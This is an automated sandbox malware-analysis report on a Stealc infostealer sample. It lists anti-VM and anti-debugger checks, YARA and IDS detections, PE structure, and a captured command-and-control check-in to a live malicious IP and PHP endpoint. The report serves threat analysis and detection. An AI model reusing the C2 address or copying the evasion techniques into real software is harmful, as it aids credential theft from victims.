Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00174910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00174910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0016DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0016E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0016ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00174570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00174570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0016DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0016BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0016F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00173EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00173EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001616D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00161160 GetSystemInfo,ExitProcess,

0_2_00161160

Source: file.exe, file.exe, 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2156506568.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000002.2156506568.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareq
Source: file.exe, 00000000.00000002.2156506568.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*x
Source: file.exe, 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13589
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13586
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13608
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13600
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13640

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00179860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00179750 mov eax, dword ptr fs:[00000030h]

0_2_00179750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00177850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00177850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1824, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00179600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00179600

Source: file.exe, file.exe, 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: VProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00177B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00176920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00176920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00177850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00177850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00177A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00177A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2111080022.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1824, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2111080022.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1824, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37RD	file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php=h	file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php%hh	file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpft	file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529037
Start date and time:	2024-10-08 15:41:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 20 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9486820090938775
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'836'544 bytes
MD5:	9d007dc0dc48fd402f13f65547d002f3
SHA1:	487a3e42ebc95babcc96a71388fd35577290302d
SHA256:	6bc02402cb6ca77ef60e9e04ed1996840e9eb6088a0b9f748653d63f915edb0a
SHA512:	265518065ac2249fe901d732921309c77e038da613ea5b3375a815e726ff2fd645b2d6c15d90f5d5dcdbeda07137e0717c68fddf1421941f72733b08a6e7f0fb
SSDEEP:	49152:x4j7Euaf4lkIKCj1vkIDSoJU5uYYHBHtdM:ZuCdC59ouj3
TLSH:	5D8533334CA169C2C9B19ABB3A5231D87C44B48E01B17EB57FB5A02CD6437D4763A7B8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa97000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3F247B2FDAh
pmulhuw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	447946d7970a678b25cf4c915fa3caf9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	53f1b6562bba607c70129fb73393c7fb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iovqbmaf	0x4fb000	0x19b000	0x19a400	a09c56ad4e6fcf5736ad1417bd9f64d9	False	0.9948017834018891	data	7.9538207256362705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tgzswadw	0x696000	0x1000	0x400	1c8e7c49498cc5e85143d91f9c4ee53e	False	0.763671875	data	6.064656695273445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x697000	0x3000	0x2200	e1d8eb5969ea152bbfdfcd8224b025f5	False	0.061810661764705885	DOS executable (COM)	0.7212457865960206	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T15:42:15.749488+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:42:14.810719967 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:14.815921068 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 8, 2024 15:42:14.816005945 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:14.819689989 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:14.824657917 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 8, 2024 15:42:15.504110098 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 8, 2024 15:42:15.504216909 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:15.520028114 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:15.524876118 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 8, 2024 15:42:15.749420881 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 8, 2024 15:42:15.749488115 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 8, 2024 15:42:17.989805937 CEST	49710	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.37	80	1824	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:42:14.819689989 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 15:42:15.504110098 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:42:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 15:42:15.520028114 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 37 33 43 39 31 30 35 45 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="hwid"FB73C9105E5F552815863------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="build"doma------EHCBAAAFHJDHJJKEBGHI--
Oct 8, 2024 15:42:15.749420881 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:42:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	09:42:10
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x160000
File size:	1'836'544 bytes
MD5 hash:	9D007DC0DC48FD402F13F65547D002F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2111080022.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 00179860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
